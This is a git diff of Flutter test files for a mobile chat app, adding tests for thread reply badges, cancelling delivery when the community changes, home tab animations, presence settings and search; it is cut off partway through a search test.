diff --git a/mobile/test/features/channels/read_state/read_state_time_test.dart b/mobile/test/features/channels/read_state/read_state_time_test.dart
index f6875aafe4..f56e970142 100644
--- a/mobile/test/features/channels/read_state/read_state_time_test.dart
+++ b/mobile/test/features/channels/read_state/read_state_time_test.dart
@@ -1,5 +1,5 @@
 import 'package:flutter_test/flutter_test.dart';
-import 'package:buzz/features/channels/read_state/read_state_time.dart';
+import 'package:buzz/shared/read_state/read_state_time.dart';
 
 void main() {
   test('dateTimeToUnixSeconds converts DateTime values and nulls', () {
diff --git a/mobile/test/features/channels/send_message_provider_test.dart b/mobile/test/features/channels/send_message_provider_test.dart
index f91ce87b2b..273336f283 100644
--- a/mobile/test/features/channels/send_message_provider_test.dart
+++ b/mobile/test/features/channels/send_message_provider_test.dart
@@ -1,6 +1,7 @@
 import 'dart:async';
 
 import 'package:flutter_test/flutter_test.dart';
+import 'package:hooks_riverpod/hooks_riverpod.dart';
 import 'package:nostr/nostr.dart' as nostr;
 import 'package:buzz/features/channels/send_message_provider.dart';
 import 'package:buzz/shared/relay/relay.dart';
@@ -66,6 +67,30 @@ void main() {
     expect(completedIds, isEmpty);
     expect(removedIds, [localMessages.single.id]);
   });
+
+  test('cancels delivery after the active community changes', () async {
+    final container = ProviderContainer();
+    addTearDown(container.dispose);
+    container
+        .read(relayConfigProvider.notifier)
+        .update(baseUrl: 'https://first.example');
+    final send = container.read(sendMessageProvider);
+
+    container
+        .read(relayConfigProvider.notifier)
+        .update(baseUrl: 'https://second.example');
+
+    await expectLater(
+      send(channelId: _channelId, content: 'old community draft'),
+      throwsA(
+        isA<StateError>().having(
+          (error) => error.message,
+          'message',
+          contains('active community changed'),
+        ),
+      ),
+    );
+  });
 }
 
 const _channelId = '11111111-1111-4111-8111-111111111111';
diff --git a/mobile/test/features/channels/timeline_message_test.dart b/mobile/test/features/channels/timeline_message_test.dart
index c29a12aef4..3dfaf184c1 100644
--- a/mobile/test/features/channels/timeline_message_test.dart
+++ b/mobile/test/features/channels/timeline_message_test.dart
@@ -1,6 +1,7 @@
 import 'dart:convert';
 
 import 'package:flutter_test/flutter_test.dart';
+import 'package:buzz/features/channels/channel_window.dart';
 import 'package:buzz/features/channels/timeline_message.dart';
 import 'package:buzz/shared/relay/relay.dart';
 
@@ -826,17 +827,23 @@ void main() {
       expect(entries[0].summary!.lastReplyAt, 3000);
     });
 
-    test('summary counts only direct children, not nested replies', () {
-      final messages = formatTimeline([
-        _textMsg(id: 'a', createdAt: 1000),
-        _replyMsg(id: 'r1', parentId: 'a', createdAt: 2000),
-        _replyMsg(id: 'r2', parentId: 'r1', rootId: 'a', createdAt: 3000),
-      ]);
-
-      final entries = buildMainTimelineEntries(messages);
-      // Only r1 is a direct child of a; r2 is a child of r1.
-      expect(entries[0].summary!.replyCount, 1);
-    });
+    test(
+      'summary counts every loaded descendant, not only direct children',
+      () {
+        final messages = formatTimeline([
+          _textMsg(id: 'a', createdAt: 1000),
+          _replyMsg(id: 'r1', parentId: 'a', createdAt: 2000),
+          _replyMsg(id: 'r2', parentId: 'r1', rootId: 'a', createdAt: 3000),
+        ]);
+
+        final entries = buildMainTimelineEntries(messages);
+        // The root badge stands for the whole thread, so the reply to r1 counts
+        // towards 'a' as well. This matches the relay's `descendant_count` and
+        // the desktop's `buildDescendantStatsByMessageId`.
+        expect(entries[0].summary!.replyCount, 2);
+        expect(entries[0].summary!.lastReplyAt, 3000);
+      },
+    );
 
     test('summary has up to 3 unique participant pubkeys', () {
       final messages = formatTimeline([
@@ -877,6 +884,262 @@ void main() {
     });
   });
 
+  group('buildMainTimelineEntries relay summary merge', () {
+    ChannelWindowThreadSummary relaySummary({
+      required int replyCount,
+      int? descendantCount,
+      int? lastReplyAt,
+      List<String> participantPubkeys = const ['zoe'],
+    }) => ChannelWindowThreadSummary(
+      replyCount: replyCount,
+      descendantCount: descendantCount ?? replyCount,
+      lastReplyAt: lastReplyAt,
+      participantPubkeys: participantPubkeys,
+    );
+
+    test('relay recount covers replies this client never loaded', () {
+      final messages = formatTimeline([_textMsg(id: 'a', createdAt: 1000)]);
+
+      final entries = buildMainTimelineEntries(
+        messages,
+        relaySummaries: {'a': relaySummary(replyCount: 4, lastReplyAt: 9000)},
+      );
+
+      expect(entries.single.summary!.replyCount, 4);
+      expect(entries.single.summary!.lastReplyAt, 9000);
+      expect(entries.single.summary!.participantPubkeys, ['zoe']);
+    });
+
+    test('a reply newer than the recount is added to the badge', () {
+      final messages = formatTimeline([
+        _textMsg(id: 'a', createdAt: 1000),
+        _replyMsg(id: 'r1', parentId: 'a', pubkey: 'bob', createdAt: 2000),
+        _replyMsg(id: 'r2', parentId: 'a', pubkey: 'carol', createdAt: 3000),
+      ]);
+
+      // The relay counted only r1 before r2 landed.
+      final entries = buildMainTimelineEntries(
+        messages,
+        relaySummaries: {'a': relaySummary(replyCount: 1, lastReplyAt: 2000)},
+      );
+
+      expect(entries.single.summary!.replyCount, 2);
+      expect(entries.single.summary!.lastReplyAt, 3000);
+    });
+
+    test('a reply in the same second as the recount still counts', () {
+      final messages = formatTimeline([
+        _textMsg(id: 'a', createdAt: 1000),
+        _replyMsg(id: 'r1', parentId: 'a', pubkey: 'bob', createdAt: 2000),
+        _replyMsg(id: 'r2', parentId: 'a', pubkey: 'carol', createdAt: 2000),
+      ]);
+
+      // Relay timestamps have second precision, so an equal timestamp is no
+      // proof the recount already included the second reply.
+      final entries = buildMainTimelineEntries(
+        messages,
+        relaySummaries: {'a': relaySummary(replyCount: 1, lastReplyAt: 2000)},
+      );
+
+      expect(entries.single.summary!.replyCount, 2);
+    });
+
+    test('a lost recount still leaves a badge from the local reply', () {
+      final messages = formatTimeline([
+        _textMsg(id: 'a', createdAt: 1000),
+        _replyMsg(id: 'r1', parentId: 'a', pubkey: 'bob', createdAt: 2000),
+      ]);
+
+      final entries = buildMainTimelineEntries(messages);
+
+      expect(entries.single.summary!.replyCount, 1);
+      expect(entries.single.summary!.participantPubkeys, ['bob']);
+    });
+
+    test('the relay recount wins when it is ahead of the loaded replies', () {
+      final messages = formatTimeline([
+        _textMsg(id: 'a', createdAt: 1000),
+        _replyMsg(id: 'r1', parentId: 'a', pubkey: 'bob', createdAt: 2000),
+      ]);
+
+      final entries = buildMainTimelineEntries(
+        messages,
+        relaySummaries: {'a': relaySummary(replyCount: 7, lastReplyAt: 8000)},
+      );
+
+      expect(entries.single.summary!.replyCount, 7);
+      expect(entries.single.summary!.lastReplyAt, 8000);
+    });
+
+    test('a zero recount does not erase a locally seen reply', () {
+      final messages = formatTimeline([
+        _textMsg(id: 'a', createdAt: 1000),
+        _replyMsg(id: 'r1', parentId: 'a', pubkey: 'bob', createdAt: 2000),
+      ]);
+
+      final entries = buildMainTimelineEntries(
+        messages,
+        relaySummaries: {'a': relaySummary(replyCount: 0, lastReplyAt: null)},
+      );
+
+      expect(entries.single.summary!.replyCount, 1);
+      expect(entries.single.summary!.lastReplyAt, 2000);
+    });
+
+    test('a locally seen nested reply raises its root badge', () {
+      final messages = formatTimeline([
+        _textMsg(id: 'a', createdAt: 1000),
+        _replyMsg(id: 'r1', parentId: 'a', pubkey: 'bob', createdAt: 2000),
+        _replyMsg(
+          id: 'r2',
+          parentId: 'r1',
+          rootId: 'a',
+          pubkey: 'carol',
+          createdAt: 3000,
+        ),
+      ]);
+
+      // The recount for 'a' predates r2, so only the locally seen nested reply
+      // can bring the root badge, time, and facepile up to date.
+      final entries = buildMainTimelineEntries(
+        messages,
+        relaySummaries: {
+          'a': relaySummary(
+            replyCount: 1,
+            lastReplyAt: 2000,
+            participantPubkeys: const ['bob'],
+          ),
+        },
+      );
+
+      final root = entries.firstWhere((entry) => entry.message.id == 'a');
+      expect(root.summary!.replyCount, 2);
+      expect(root.summary!.lastReplyAt, 3000);
+      expect(root.summary!.participantPubkeys, ['bob', 'carol']);
+    });
+
+    test('the relay half counts descendants, not direct replies', () {
+      final messages = formatTimeline([_textMsg(id: 'a', createdAt: 1000)]);
+
+      // The relay reports both numbers. A thread of nested replies has a
+      // `reply_count` far below its `descendant_count`, and the badge stands
+      // for the whole thread.
+      final entries = buildMainTimelineEntries(
+        messages,
+        relaySummaries: {
+          'a': relaySummary(
+            replyCount: 1,
+            descendantCount: 5,
+            lastReplyAt: 9000,
+          ),
+        },
+      );
+
+      expect(entries.single.summary!.replyCount, 5);
+    });
+
+    test('a nested reply badges the reply it answers', () {
+      final messages = formatTimeline([
+        _textMsg(id: 'a', createdAt: 1000),
+        _replyMsg(
+          id: 'r1',
+          parentId: 'a',
+          pubkey: 'bob',
+          createdAt: 2000,
+          extraTags: const [
+            ['broadcast', '1'],
+          ],
+        ),
+        _replyMsg(
+          id: 'r2',
+          parentId: 'r1',
+          rootId: 'a',
+          pubkey: 'carol',
+          createdAt: 3000,
+        ),
+      ]);
+
+      // The relay keys recounts by the outermost root, so r1 never gets one and
+      // its badge has to come from the locally seen nested reply.
+      final entries = buildMainTimelineEntries(
+        messages,
+        relaySummaries: {'a': relaySummary(replyCount: 1, lastReplyAt: 2000)},
+      );
+
+      final byId = {for (final entry in entries) entry.message.id: entry};
+      expect(byId['a']!.summary!.replyCount, 2);
+      expect(byId['r1']!.summary!.replyCount, 1);
+      expect(byId['r1']!.summary!.participantPubkeys, ['carol']);
+      expect(byId['r1']!.summary!.lastReplyAt, 3000);
+    });
+
+    test('merged participants keep relay identities first, capped at 3', () {
+      final messages = formatTimeline([
+        _textMsg(id: 'a', createdAt: 1000),
+        _replyMsg(id: 'r1', parentId: 'a', pubkey: 'bob', createdAt: 2000),
+        _replyMsg(id: 'r2', parentId: 'a', pubkey: 'carol', createdAt: 3000),
+      ]);
+
+      final entries = buildMainTimelineEntries(
+        messages,
+        relaySummaries: {
+          'a': relaySummary(
+            replyCount: 1,
+            lastReplyAt: 2000,
+            participantPubkeys: const ['zoe', 'yara'],
+          ),
+        },
+      );
+
+      expect(entries.single.summary!.participantPubkeys, [
+        'zoe',
+        'yara',
+        'carol',
+      ]);
+    });
+
+    test('a deleted reply does not hold the badge above the recount', () {
+      // The relay counts down on delete and re-emits the recount, so taking the
+      // larger count must not resurrect a deleted reply. `formatTimeline` drops
+      // it from the local half first, which is what keeps `max` honest here.
+      final messages = formatTimeline([
+        _textMsg(id: 'a', createdAt: 1000),
+        _replyMsg(id: 'r1', parentId: 'a', pubkey: 'bob', createdAt: 2000),
+        _replyMsg(id: 'r2', parentId: 'a', pubkey: 'carol', createdAt: 3000),
+        _deletion(id: 'd1', targets: ['r2']),
+      ]);
+
+      final entries = buildMainTimelineEntries(
+        messages,
+        relaySummaries: {'a': relaySummary(replyCount: 1, lastReplyAt: 2000)},
+      );
+
+      expect(entries.single.summary!.replyCount, 1);
+      expect(entries.single.summary!.lastReplyAt, 2000);
+    });
+
+    test('a participant in both halves is not listed twice', () {
+      final messages = formatTimeline([
+        _textMsg(id: 'a', createdAt: 1000),
+        _replyMsg(id: 'r1', parentId: 'a', pubkey: 'BOB', createdAt: 2000),
+        _replyMsg(id: 'r2', parentId: 'a', pubkey: 'carol', createdAt: 3000),
+      ]);
+
+      final entries = buildMainTimelineEntries(
+        messages,
+        relaySummaries: {
+          'a': relaySummary(
+            replyCount: 2,
+            lastReplyAt: 3000,
+            participantPubkeys: const ['carol', 'bob'],
+          ),
+        },
+      );
+
+      expect(entries.single.summary!.participantPubkeys, ['carol', 'bob']);
+    });
+  });
+
   group('groupMembershipTimelineEntries', () {
     List<MainTimelineEntry> entries(List<NostrEvent> events) =>
         buildMainTimelineEntries(formatTimeline(events));
diff --git a/mobile/test/features/channels/unread_badge/unread_badge_provider_test.dart b/mobile/test/features/channels/unread_badge/unread_badge_provider_test.dart
index 987bd96b0a..6c385bfd44 100644
--- a/mobile/test/features/channels/unread_badge/unread_badge_provider_test.dart
+++ b/mobile/test/features/channels/unread_badge/unread_badge_provider_test.dart
@@ -4,7 +4,7 @@ import 'package:flutter_test/flutter_test.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 import 'package:buzz/features/channels/channel.dart';
 import 'package:buzz/features/channels/channels_provider.dart';
-import 'package:buzz/features/channels/read_state/read_state_provider.dart';
+import 'package:buzz/shared/read_state/read_state_provider.dart';
 import 'package:buzz/features/channels/unread_badge/observed_unread_event.dart';
 import 'package:buzz/features/channels/unread_badge/unread_badge_provider.dart';
 
diff --git a/mobile/test/features/forum/forum_widgets_test.dart b/mobile/test/features/forum/forum_widgets_test.dart
index 7f83a33c8d..f834bda644 100644
--- a/mobile/test/features/forum/forum_widgets_test.dart
+++ b/mobile/test/features/forum/forum_widgets_test.dart
@@ -160,6 +160,30 @@ void main() {
     _testPrefs = await SharedPreferences.getInstance();
   });
 
+  test('cancels a captured forum delivery after the community changes', () {
+    final container = ProviderContainer();
+    addTearDown(container.dispose);
+    container
+        .read(relayConfigProvider.notifier)
+        .update(baseUrl: 'https://first.example');
+    final delivery = ForumEventDelivery.capture(container);
+
+    container
+        .read(relayConfigProvider.notifier)
+        .update(baseUrl: 'https://second.example');
+
+    expect(
+      delivery.createPost(channelId: _channelId, content: 'Queued post'),
+      throwsA(
+        isA<StateError>().having(
+          (error) => error.message,
+          'message',
+          contains('active community changed'),
+        ),
+      ),
+    );
+  });
+
   group('ForumPostCard', () {
     testWidgets('renders author name and content', (tester) async {
       await tester.pumpWidget(
diff --git a/mobile/test/features/home/home_page_test.dart b/mobile/test/features/home/home_page_test.dart
index cf688ce726..3a54332c98 100644
--- a/mobile/test/features/home/home_page_test.dart
+++ b/mobile/test/features/home/home_page_test.dart
@@ -8,14 +8,27 @@ import 'package:hooks_riverpod/hooks_riverpod.dart';
 import 'package:shared_preferences/shared_preferences.dart';
 
 void main() {
-  Future<Widget> buildHome() async {
+  Future<Widget> buildHome({
+    int unreadInboxCount = 0,
+    bool disableAnimations = false,
+    Gradient? topSectionGradient,
+  }) async {
     SharedPreferences.setMockInitialValues({});
     final prefs = await SharedPreferences.getInstance();
     return ProviderScope(
       overrides: [savedPrefsProvider.overrideWithValue(prefs)],
       child: MaterialApp(
-        theme: AppTheme.light(),
-        home: const HomePage(settingsPageBuilder: _buildSettingsPage),
+        theme: AppTheme.light(topSectionGradient: topSectionGradient),
+        builder: (context, child) => MediaQuery(
+          data: MediaQuery.of(
+            context,
+          ).copyWith(disableAnimations: disableAnimations),
+          child: child!,
+        ),
+        home: HomePage(
+          settingsPageBuilder: _buildSettingsPage,
+          hasUnreadInbox: unreadInboxCount > 0,
+        ),
       ),
     );
   }
@@ -58,6 +71,46 @@ void main() {
     );
   });
 
+  testWidgets('keeps the Buzz backdrop behind the scalable Home screen', (
+    tester,
+  ) async {
+    const gradient = LinearGradient(
+      begin: Alignment.topCenter,
+      end: Alignment.bottomCenter,
+      colors: [Colors.yellow, Colors.blue],
+    );
+    await tester.pumpWidget(await buildHome(topSectionGradient: gradient));
+    await tester.pump();
+
+    final backdrop = find.byKey(
+      const ValueKey('home-settings-transition-backdrop'),
+    );
+    final decoration =
+        tester.widget<DecoratedBox>(backdrop).decoration as BoxDecoration;
+    expect(decoration.gradient, gradient);
+    expect(
+      find.byKey(const ValueKey('home-settings-transition-scale')),
+      findsOneWidget,
+    );
+    expect(
+      tester
+          .widget<Transform>(
+            find.byKey(const ValueKey('home-settings-transition-scale')),
+          )
+          .transform
+          .getMaxScaleOnAxis(),
+      1,
+    );
+    expect(
+      tester
+          .widget<Opacity>(
+            find.byKey(const ValueKey('home-settings-transition-opacity')),
+          )
+          .opacity,
+      1,
+    );
+  });
+
   testWidgets('gives selection haptics only when the tab changes', (
     tester,
   ) async {
@@ -95,6 +148,166 @@ void main() {
     expect(hapticCalls, hasLength(2));
   });
 
+  testWidgets('gives a light impact when the Home quick action is pressed', (
+    tester,
+  ) async {
+    final hapticCalls = <MethodCall>[];
+    TestDefaultBinaryMessengerBinding.instance.defaultBinaryMessenger
+        .setMockMethodCallHandler(SystemChannels.platform, (call) async {
+          if (call.method == 'HapticFeedback.vibrate') {
+            hapticCalls.add(call);
+          }
+          return null;
+        });
+    addTearDown(
+      () => TestDefaultBinaryMessengerBinding.instance.defaultBinaryMessenger
+          .setMockMethodCallHandler(SystemChannels.platform, null),
+    );
+
+    await tester.pumpWidget(await buildHome());
+    await tester.pump();
+
+    await tester.tap(find.byTooltip('Create or start conversation'));
+    await tester.pump();
+
+    expect(hapticCalls, hasLength(1));
+    expect(hapticCalls.single.arguments, 'HapticFeedbackType.lightImpact');
+  });
+
+  testWidgets('badges the Inbox tab when it has unread rows', (tester) async {
+    await tester.pumpWidget(await buildHome(unreadInboxCount: 1));
+    await tester.pump();
+
+    expect(
+      find.byKey(const ValueKey('activity-tab-unread-dot')),
+      findsOneWidget,
+    );
+    final badge = tester.widget<Container>(
+      find.byKey(const ValueKey('activity-tab-unread-dot')),
+    );
+    expect(badge.constraints?.maxWidth, 12);
+    expect(badge.constraints?.maxHeight, 12);
+    expect(find.bySemanticsLabel('Activity, unread'), findsOneWidget);
+    AnimatedScale unreadDotScale() => tester.widget<AnimatedScale>(
+      find.byKey(const ValueKey('activity-tab-unread-dot-scale')),
+    );
+    expect(unreadDotScale().scale, 1);
+    expect(unreadDotScale().alignment, const Alignment(-0.5, 0.5));
+    expect(unreadDotScale().duration, const Duration(milliseconds: 220));
+
+    await tester.tap(find.byTooltip('Activity'));
+    await tester.pump();
+
+    expect(
+      find.byKey(const ValueKey('activity-tab-unread-dot')),
+      findsOneWidget,
+    );
+    expect(unreadDotScale().scale, 0);
+    expect(find.bySemanticsLabel('Activity, unread'), findsNothing);
+
+    await tester.tap(find.byTooltip('Home'));
+    await tester.pump();
+
+    expect(unreadDotScale().scale, 1);
+  });
+
+  testWidgets('fades and slides tab content in the selected direction', (
+    tester,
+  ) async {
+    await tester.pumpWidget(await buildHome());
+    await tester.pump();
+
+    Transform bodyTransform() => tester.widget<Transform>(
+      find.byKey(const ValueKey('frosted-scaffold-body-transition-transform')),
+    );
+    Opacity bodyOpacity() => tester.widget<Opacity>(
+      find.byKey(const ValueKey('frosted-scaffold-body-transition-opacity')),
+    );
+    Transform appBarTransform() => tester.widget<Transform>(
+      find.byKey(
+        const ValueKey('frosted-app-bar-content-transition-transform'),
+      ),
+    );
+    Opacity appBarOpacity() => tester.widget<Opacity>(
+      find.byKey(const ValueKey('frosted-app-bar-content-transition-opacity')),
+    );
+    double bodyOffset() => bodyTransform().transform.getTranslation().x;
+    double appBarOffset() => appBarTransform().transform.getTranslation().x;
+
+    expect(bodyOffset(), closeTo(0, 0.001));
+    expect(appBarOffset(), closeTo(0, 0.001));
+    expect(bodyOpacity().opacity, closeTo(1, 0.001));
+    expect(appBarOpacity().opacity, closeTo(1, 0.001));
+
+    await tester.tap(find.byTooltip('Activity'));
+    await tester.pump();
+
+    expect(bodyOffset(), closeTo(24, 0.001));
+    expect(appBarOffset(), closeTo(24, 0.001));
+    expect(bodyOpacity().opacity, closeTo(0, 0.001));
+    expect(appBarOpacity().opacity, closeTo(0, 0.001));
+    expect(
+      find.descendant(
+        of: find.byKey(const ValueKey('frosted-app-bar-background')),
+        matching: find.byKey(
+          const ValueKey('frosted-app-bar-content-transition-transform'),
+        ),
+      ),
+      findsOneWidget,
+    );
+
+    await tester.pump(const Duration(milliseconds: 120));
+
+    expect(bodyOffset(), inExclusiveRange(0, 24));
+    expect(appBarOffset(), inExclusiveRange(0, 24));
+    expect(bodyOpacity().opacity, inExclusiveRange(0, 1));
+    expect(appBarOpacity().opacity, inExclusiveRange(0, 1));
+
+    await tester.pumpAndSettle();
+    await tester.tap(find.byTooltip('Home'));
+    await tester.pump();
+
+    expect(bodyOffset(), closeTo(-24, 0.001));
+    expect(appBarOffset(), closeTo(-24, 0.001));
+    expect(bodyOpacity().opacity, closeTo(0, 0.001));
+    expect(appBarOpacity().opacity, closeTo(0, 0.001));
+
+    await tester.pumpAndSettle();
+    expect(bodyOffset(), closeTo(0, 0.001));
+    expect(appBarOffset(), closeTo(0, 0.001));
+    expect(bodyOpacity().opacity, closeTo(1, 0.001));
+    expect(appBarOpacity().opacity, closeTo(1, 0.001));
+  });
+
+  testWidgets('switches tab content instantly with reduced motion', (
+    tester,
+  ) async {
+    await tester.pumpWidget(await buildHome(disableAnimations: true));
+    await tester.pump();
+
+    await tester.tap(find.byTooltip('Activity'));
+    await tester.pump();
+
+    final bodyTransform = tester.widget<Transform>(
+      find.byKey(const ValueKey('frosted-scaffold-body-transition-transform')),
+    );
+    final bodyOpacity = tester.widget<Opacity>(
+      find.byKey(const ValueKey('frosted-scaffold-body-transition-opacity')),
+    );
+    final appBarTransform = tester.widget<Transform>(
+      find.byKey(
+        const ValueKey('frosted-app-bar-content-transition-transform'),
+      ),
+    );
+    final appBarOpacity = tester.widget<Opacity>(
+      find.byKey(const ValueKey('frosted-app-bar-content-transition-opacity')),
+    );
+    expect(bodyTransform.transform.getTranslation().x, closeTo(0, 0.001));
+    expect(appBarTransform.transform.getTranslation().x, closeTo(0, 0.001));
+    expect(bodyOpacity.opacity, closeTo(1, 0.001));
+    expect(appBarOpacity.opacity, closeTo(1, 0.001));
+  });
+
   testWidgets('scales and fades the quick action as tabs change', (
     tester,
   ) async {
diff --git a/mobile/test/features/profile/profile_provider_test.dart b/mobile/test/features/profile/profile_provider_test.dart
new file mode 100644
index 0000000000..9130153edb
--- /dev/null
+++ b/mobile/test/features/profile/profile_provider_test.dart
@@ -0,0 +1,90 @@
+import 'package:buzz/features/profile/profile_provider.dart';
+import 'package:buzz/features/profile/user_profile.dart';
+import 'package:buzz/shared/relay/relay.dart';
+import 'package:buzz/shared/theme/theme.dart';
+import 'package:flutter/widgets.dart';
+import 'package:flutter_test/flutter_test.dart';
+import 'package:hooks_riverpod/hooks_riverpod.dart';
+import 'package:shared_preferences/shared_preferences.dart';
+
+void main() {
+  test(
+    'manual presence persists until Online restores automatic mode',
+    () async {
+      SharedPreferences.setMockInitialValues({});
+      final prefs = await SharedPreferences.getInstance();
+      var container = _buildContainer(prefs);
+
+      expect(
+        await container
+            .read(presenceProvider.future)
+            .timeout(
+              const Duration(seconds: 2),
+              onTimeout: () =>
+                  throw StateError('initial presence did not resolve'),
+            ),
+        'online',
+      );
+      await container
+          .read(presenceProvider.notifier)
+          .setPresence('away')
+          .timeout(
+            const Duration(seconds: 2),
+            onTimeout: () => throw StateError('setting Away did not resolve'),
+          );
+      expect(container.read(presenceProvider).value, 'away');
+      expect(prefs.getString('buzz_presence_preference_aabb'), 'away');
+
+      container.dispose();
+      container = _buildContainer(prefs);
+      addTearDown(container.dispose);
+      expect(
+        await container
+            .read(presenceProvider.future)
+            .timeout(
+              const Duration(seconds: 2),
+              onTimeout: () =>
+                  throw StateError('stored presence did not resolve'),
+            ),
+        'away',
+      );
+
+      await container
+          .read(presenceProvider.notifier)
+          .setPresence('online')
+          .timeout(
+            const Duration(seconds: 2),
+            onTimeout: () => throw StateError('setting Online did not resolve'),
+          );
+      expect(container.read(presenceProvider).value, 'online');
+      expect(prefs.getString('buzz_presence_preference_aabb'), 'auto');
+    },
+  );
+}
+
+ProviderContainer _buildContainer(SharedPreferences prefs) => ProviderContainer(
+  overrides: [
+    savedPrefsProvider.overrideWithValue(prefs),
+    myPubkeyProvider.overrideWithValue('aabb'),
+    profileProvider.overrideWith(_FakeProfileNotifier.new),
+    relaySessionProvider.overrideWith(_DisconnectedRelaySession.new),
+    appLifecycleProvider.overrideWith(_ResumedLifecycle.new),
+  ],
+);
+
+class _FakeProfileNotifier extends ProfileNotifier {
+  @override
+  Future<UserProfile?> build() async =>
+      const UserProfile(pubkey: 'aabb', displayName: 'Test');
+}
+
+class _DisconnectedRelaySession extends RelaySessionNotifier {
+  @override
+  SessionState build() =>
+      const SessionState(status: SessionStatus.disconnected);
+}
+
+class _ResumedLifecycle extends AppLifecycleNotifier {
+  @override
+  AppLifecycleState build() => AppLifecycleState.resumed;
+}
diff --git a/mobile/test/features/profile/settings_profile_header_test.dart b/mobile/test/features/profile/settings_profile_header_test.dart
index dbf27b5c81..a3c7b3dd9a 100644
--- a/mobile/test/features/profile/settings_profile_header_test.dart
+++ b/mobile/test/features/profile/settings_profile_header_test.dart
@@ -4,7 +4,9 @@ import 'package:buzz/features/profile/user_profile.dart';
 import 'package:buzz/features/profile/user_status.dart';
 import 'package:buzz/features/profile/user_status_provider.dart';
 import 'package:buzz/shared/custom_emoji/custom_emoji_provider.dart';
+import 'package:buzz/shared/theme/theme.dart';
 import 'package:buzz/shared/widgets/masked_avatar_badge.dart';
+import 'package:flutter/material.dart';
 import 'package:flutter_test/flutter_test.dart';
 import 'package:lucide_icons_flutter/lucide_icons.dart';
 
@@ -19,6 +21,7 @@ void main() {
       WidgetHelpers.testable(
         overrides: [
           profileProvider.overrideWith(_FakeProfileNotifier.new),
+          presenceProvider.overrideWith(() => _FakePresenceNotifier('online')),
           userStatusProvider.overrideWith(
             () => _FakeUserStatusNotifier(
               const UserStatus(
@@ -35,6 +38,7 @@ void main() {
     );
     await tester.pumpAndSettle();
 
+    expect(find.byType(Hero), findsNothing);
     final badge = find.byType(MaskedAvatarBadge);
     expect(
       find.descendant(of: badge, matching: find.text(missingShortcode)),
@@ -45,6 +49,99 @@ void main() {
       findsOneWidget,
     );
   });
+
+  testWidgets(
+    'keeps text-only status visible beside a changeable presence pill',
+    (tester) async {
+      final presenceNotifier = _FakePresenceNotifier('away');
+      await tester.pumpWidget(
+        WidgetHelpers.testable(
+          overrides: [
+            profileProvider.overrideWith(_FakeProfileNotifier.new),
+            presenceProvider.overrideWith(() => presenceNotifier),
+            userStatusProvider.overrideWith(
+              () => _FakeUserStatusNotifier(
+                const UserStatus(text: 'Focusing', emoji: '', updatedAt: 1),
+              ),
+            ),
+            customEmojiListProvider.overrideWithValue(const []),
+          ],
+          child: const SettingsProfileHeader(),
+        ),
+      );
+      await tester.pumpAndSettle();
+
+      expect(find.text('Focusing'), findsOneWidget);
+      await tester.tap(find.text('Focusing'));
+      await tester.pumpAndSettle();
+      expect(find.text('Set a status'), findsOneWidget);
+      expect(
+        tester.widget<TextField>(find.byType(TextField)).controller?.text,
+        'Focusing',
+      );
+      await tester.binding.handlePopRoute();
+      await tester.pumpAndSettle();
+
+      expect(
+        find.byKey(const ValueKey('settings-presence-label')),
+        findsOneWidget,
+      );
+      expect(find.text('Away'), findsOneWidget);
+      expect(
+        tester
+            .widget<Text>(find.byKey(const ValueKey('settings-presence-label')))
+            .style
+            ?.fontSize,
+        filterChipTextStyle.fontSize,
+      );
+      expect(
+        tester
+            .getSize(find.byKey(const ValueKey('settings-presence-target')))
+            .height,
+        48,
+      );
+      expect(
+        tester
+            .getSize(find.byKey(const ValueKey('settings-presence-pill')))
+            .height,
+        greaterThanOrEqualTo(31),
+      );
+
+      final presenceTarget = find.byKey(
+        const ValueKey('settings-presence-target'),
+      );
+      final targetRect = tester.getRect(presenceTarget);
+      await tester.tapAt(Offset(targetRect.center.dx, targetRect.bottom - 1));
+      await tester.pump();
+
+      final scale = tester.widget<ScaleTransition>(
+        find.byKey(const ValueKey('activity-popover-scale')),
+      );
+      expect(scale.alignment, Alignment.topCenter);
+      expect(
+        find.byKey(const ValueKey('settings-presence-popover')),
+        findsOneWidget,
+      );
+      await tester.pumpAndSettle();
+
+      expect(
+        find.byKey(const ValueKey('settings-presence-online')),
+        findsOneWidget,
+      );
+      expect(
+        find.byKey(const ValueKey('settings-presence-away')),
+        findsOneWidget,
+      );
+      expect(
+        find.byKey(const ValueKey('settings-presence-offline')),
+        findsOneWidget,
+      );
+
+      await tester.tap(find.byKey(const ValueKey('settings-presence-offline')));
+      await tester.pumpAndSettle();
+      expect(presenceNotifier.selected, ['offline']);
+    },
+  );
 }
 
 class _FakeProfileNotifier extends ProfileNotifier {
@@ -61,3 +158,18 @@ class _FakeUserStatusNotifier extends UserStatusNotifier {
   @override
   Future<UserStatus?> build() async => _status;
 }
+
+class _FakePresenceNotifier extends PresenceNotifier {
+  _FakePresenceNotifier(this._presence);
+
+  final String _presence;
+  final List<String> selected = [];
+
+  @override
+  Future<String> build() async => _presence;
+
+  @override
+  Future<void> setPresence(String status) async {
+    selected.add(status);
+  }
+}
diff --git a/mobile/test/features/search/search_page_test.dart b/mobile/test/features/search/search_page_test.dart
index c3db833fc1..55645313c9 100644
--- a/mobile/test/features/search/search_page_test.dart
+++ b/mobile/test/features/search/search_page_test.dart
@@ -11,6 +11,7 @@ import 'package:buzz/features/search/search_page.dart';
 import 'package:buzz/features/search/search_provider.dart';
 import 'package:buzz/shared/theme/theme.dart';
 import 'package:buzz/shared/mentions/agent_identity_provider.dart';
+import 'package:buzz/shared/widgets/frosted_app_bar.dart';
 import 'package:flutter/material.dart';
 import 'package:flutter_test/flutter_test.dart';
 import 'package:lucide_icons_flutter/lucide_icons.dart';
@@ -18,6 +19,110 @@ import 'package:lucide_icons_flutter/lucide_icons.dart';
 import '../../helpers/widget_helpers.dart';
 
 void main() {
+  testWidgets('reselecting Search uses the field activation path', (
+    tester,
+  ) async {
+    final tabReselection = ValueNotifier(0);
+    addTearDown(tabReselection.dispose);
+    await tester.pumpWidget(
+      WidgetHelpers.testable(
+        overrides: [
+          searchProvider.overrideWith(
+            () => _FakeSearchNotifier(const SearchState.initial()),
+          ),
+          recentSearchesProvider.overrideWith(
+            () => _FakeRecentSearchesNotifier(const []),
+          ),
+          profileProvider.overrideWith(() => _FakeProfileNotifier()),
+        ],
+        child: SearchPage(tabReselection: tabReselection),
+      ),
+    );
+    await tester.pumpAndSettle();
+
+    expect(find.byKey(const Key('search-cancel')), findsNothing);
+    tabReselection.value++;
+    await tester.pump();
+    await tester.pump();
+
+    expect(find.byKey(const Key('search-cancel')), findsOneWidget);
+    expect(
